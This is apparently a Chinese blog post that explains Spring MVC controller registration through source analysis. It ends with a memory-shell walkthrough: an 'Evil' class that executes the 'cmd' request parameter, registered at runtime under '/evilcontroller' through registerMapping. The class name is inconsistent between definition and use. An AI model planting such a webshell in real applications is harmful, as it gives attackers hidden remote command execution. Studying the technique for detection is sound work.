Spring Controller
什么是Spring Controller
Spring Controller 是 Spring MVC(Spring Model-View-Controller)框架中的一个核心组件,是用户请求和业务逻辑之间的桥梁。Spring Controller 负责处理由DispatcherServlet分发的请求,执行相应的业务逻辑, 将数据传递给视图层,以生成最终的响应。 。
在Spring MVC中,Controller 可以通过多种方式实现,最常见的方式是通过在类上添加@Controller,Spring会自动检测并注册这个类为一个Controller。然后,你可以在该类中定义多个方法来处理不同的请求,每个方法上都会使用如@RequestMapping、@GetMapping、@PostMapping等注解来指定该方法处理的请求类型、URL路径等信息。
创建用例
创建一个Spring MVC的项目
创建Controller
@Controller
public class UerController {
@RequestMapping("/quick")
public String quick() {
// 业务逻辑
System.out.println("quick running......");
// 视图跳转
return "/WEB-INF/pages/success.jsp";
}
}
启tomcat并成功跳转到classpath/WEB-INF/templates/success.jsp
项目创建参考:https://blog.csdn.net/u012660464/article/details/120116683
Spring Controller注册流程
1、识别Controller
Spring容器扫描应用程序中的所有类,判断是否有被@Controller注解标记。如果有识别出带有@Controller的类,将其注册为Bean。
2、创建请求映射
在Controller被注册为Bean之后,Spring MVC会进一步处理这些Controller中的方法,通常是解析方法上的@RequestMapping、@GetMapping、@PostMapping等注解。这些注解指定了方法处理的请求类型(如GET、POST)、URL路径、请求参数等信息。探测到处理器方法后,还需要建立请求URL与处理器方法之间的映射关系,这个关系通常被存储在RequestMappingHandlerMapping的内部数据结构中。
3、处理请求
当DispatcherServlet接收到一个HTTP请求时,它会根据请求的URL和HTTP方法来查找HandlerMapping中注册的映射关系,找到对应的Controller方法。然后,它会使用反射调用该方法来处理请求,并接收返回的视图名称或数据。最后,DispatcherServlet会使用视图解析器(ViewResolver)来解析视图名称并渲染视图,或者直接将数据写回给客户端。
源码分析
Controller的注册
SpringMVC内部将Controller的方法抽象为多个org.springframework.web.method.HandlerMethod,将Method的@RequestMapping注解抽象成org.springframework.web.servlet.mvc.method.RequestMappingInfo。所以我们从initHandlerMethods()开始。主要是从当前上下文(ApplicationContext)获取所有bean name,然后进入processCandidateBean()根据注解修饰进一步处理。
在这之前是实例化了一个bean,然后开始初始化bean。
protected void initHandlerMethods() {
String[] var1 = this.getCandidateBeanNames();
//获取Spring容器中所有bean
int var2 = var1.length;
for(int var3 = 0; var3 < var2; ++var3) {
//遍历所有bean,在for循环中添加映射
String beanName = var1[var3];
if (!beanName.startsWith("scopedTarget.")) {
this.processCandidateBean(beanName);
} }
protected void processCandidateBean(String beanName) {
Class<?> beanType = null;
try {
beanType = this.obtainApplicationContext().getType(beanName);
//获取指定beanName的Bean class
} catch (Throwable var4) {
if (this.logger.isTraceEnabled()) {
this.logger.trace("Could not resolve type for bean '" + beanName + "'", var4);
}
}
if (beanType != null && this.isHandler(beanType)) {
//如果类被@Controller注解或被@RequestMapping注解
this.detectHandlerMethods(beanName);
}
}
protected boolean isHandler(Class<?> beanType) {
return AnnotatedElementUtils.hasAnnotation(beanType, Controller.class) || AnnotatedElementUtils.hasAnnotation(beanType, RequestMapping.class);
//检查传入的类的class对象是否被@Controller注解标记或者被@RequestMapping注解
}
进入detectHandlerMethods(),主要是根据@RequestMapping从类中获取映射方法以及mapping,再通过registerHandlerMethod()将其注册到MappingRegistry。
protected void detectHandlerMethods(Object handler) {
Class<?> handlerType = handler instanceof String ? this.obtainApplicationContext().getType((String)handler) : handler.getClass();
//判断handler是否是String,如果是,通过this.obtainApplicationContext().getType((String)handler)获取这个字符串对应的类型
if (handlerType != null) {
Class<?> userType = ClassUtils.getUserClass(handlerType);
//通过判断类名是否包含'$$',处理与动态代理相关的场景。确保获取被代理的原始类,而不是代理类本身。
Map<Method, T> methods = MethodIntrospector.selectMethods(userType, (method) -> {
//获取到bean的所有方法,然后遍历
try {
return this.getMappingForMethod(method, userType);
//这里是将Lambda表达式作为第二个参数传入selectMethods,即selectMethods会在内部调用,并对method、userType赋值
} catch (Throwable var4) {
throw new IllegalStateException("Invalid mapping on handler class [" + userType.getName() + "]: " + method, var4);
}
});
if (this.logger.isTraceEnabled()) {
this.logger.trace(this.formatMappings(userType, methods));
}
methods.forEach((method, mapping) -> {
//遍历所有方法并调用registerHandlerMethod注册
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
this.registerHandlerMethod(handler, invocableMethod, mapping);
});
}
}
protected RequestMappingInfo getMappingForMethod(Method method, Class<?> handlerType) {
RequestMappingInfo info = this.createRequestMappingInfo(method);
if (info != null) {
RequestMappingInfo typeInfo = this.createRequestMappingInfo(handlerType);
if (typeInfo != null) {
info = typeInfo.combine(info);
//合并类和方法的两个mapping
}
String prefix = this.getPathPrefix(handlerType);
if (prefix != null) {
info = RequestMappingInfo.paths(new String[]{prefix}).build().combine(info);
}
}
return info;
//返回一个RequestMappingInfo类对象
}
调用AbstractHandlerMethodMapping#register方法注册控制器中的方法,以及其与URL之间的映射关系,最后所有信息都会封装到MappingRegistry中。
protected void registerHandlerMethod(Object handler, Method method, T mapping) {
this.mappingRegistry.register(mapping, handler, method);
//mapping表示请求映射信息;handler表示处理器对象;method表示处理器方法
}
public void register(T mapping, Object handler, Method method) {
this.readWriteLock.writeLock().lock();
//确保当前线程独占访问,防止并发问题
try {
HandlerMethod handlerMethod = AbstractHandlerMethodMapping.this.createHandlerMethod(handler, method);
//创建HandlerMethod对象,里面封装了handler和method
this.assertUniqueMethodMapping(handlerMethod, mapping);
//检查mapping对应的handlerMethod 是唯一的
this.mappingLookup.put(mapping, handlerMethod);
//存储mapping和handlerMethod的映射关系
List<String> directUrls = this.getDirectUrls(mapping);
Iterator var6 = directUrls.iterator();
while(var6.hasNext()) {
String url = (String)var6.next();
this.urlLookup.add(url, mapping);
}
String name = null;
if (AbstractHandlerMethodMapping.this.getNamingStrategy() != null) {
name = AbstractHandlerMethodMapping.this.getNamingStrategy().getName(handlerMethod, mapping);
this.addMappingName(name, handlerMethod);
}
CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping);
if (corsConfig != null) {
this.corsLookup.put(handlerMethod, corsConfig);
}
this.registry.put(mapping, new MappingRegistration(mapping, handlerMethod, directUrls, name));
//将mapping、handlerMethod、directUrls、name等信息封装成MappingRegistration对象,并存储到registry
} finally {
this.readWriteLock.writeLock().unlock();
//解锁
}
}
以上就基本完成了controller包含方法的注册
Controller的请求处理
内存马分析
根据上面的流程显示,可以调用AbstractHandlerMethodMapping#register方法来注册恶意Controller
1、创建恶意类,可以通过cmd传参执行命令。
public class Evil {
public void cmd(){
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
String command=request.getParameter("cmd");
if (command!=null){
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
throw new RuntimeException(e);
}
}else {
return;
}
}
}
2、获取RequestMappingHandlerMapping 对象。
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
3、获取参数:Object handler, Method method, T mapping
Method method = InjectedController.class.getMethod("cmd");
PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
InjectedController injectedController = new InjectedController();
4、调用register方法,这里的registerMapping最终也会调用register方法,实现Controller的注册。
requestMappingHandlerMapping.registerMapping(info, injectedController, method);